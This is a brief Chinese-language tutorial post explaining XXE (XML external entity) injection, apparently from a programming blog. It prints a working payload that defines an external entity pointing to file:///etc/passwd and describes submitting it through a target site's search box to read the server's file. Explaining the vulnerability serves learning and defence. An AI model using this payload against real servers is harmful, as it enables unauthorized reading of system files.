1. 程式人生 > >xxe漏洞深度剖析

xxe漏洞深度剖析

這個漏洞也叫xml實體注入,原因是沒有對我們的輸入進行嚴格的過濾

這個注入不像我們的sql注入一樣可以得到資料庫等等之類的,這個漏洞我們可以利用定義的外部實體來讀取etc/passwd等內容

payload

<?xml version = "1.0"?>

<!DOCTYPE ANY [

         <!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

   

xml語言的結構

可能存在漏洞的就是第二部分引用外部實體的地方

找到漏洞url

我們通過在這個搜尋框裡面輸入構造的payload 即可讀取對方伺服器上的/etc/passed檔案的內容